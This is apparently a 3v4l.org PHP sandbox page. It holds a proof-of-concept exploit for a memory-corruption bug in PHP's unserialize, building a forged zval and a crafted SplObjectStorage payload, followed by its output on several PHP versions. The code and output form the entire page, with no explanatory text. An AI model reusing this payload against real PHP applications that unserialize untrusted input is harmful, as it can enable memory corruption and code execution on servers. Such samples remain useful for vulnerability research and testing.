3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:1:{i:0;r:7;}'; $exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:7;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); echo(serialize($data)); //var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }
based on 4YieU
Output for 7.3.0alpha1
Fatal error: Uncaught UnexpectedValueException: Error at offset 46 of 47 bytes in /in/HOt1P:19 Stack trace: #0 [internal function]: SplObjectStorage->unserialize('x:i:1;O:8:"stdC...') #1 /in/HOt1P(19): unserialize('a:5:{i:0;i:1;i:...') #2 {main} thrown in /in/HOt1P on line 19
Process exited with code 255.
Output for 7.0.0 - 7.2.6
a:5:{i:0;i:1;i:1;i:1;i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;N;}i:4;s:24:"�v�B";}
Output for 5.5.0 - 5.6.28
a:5:{i:0;i:1;i:1;i:1;i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:24:"�v�B";}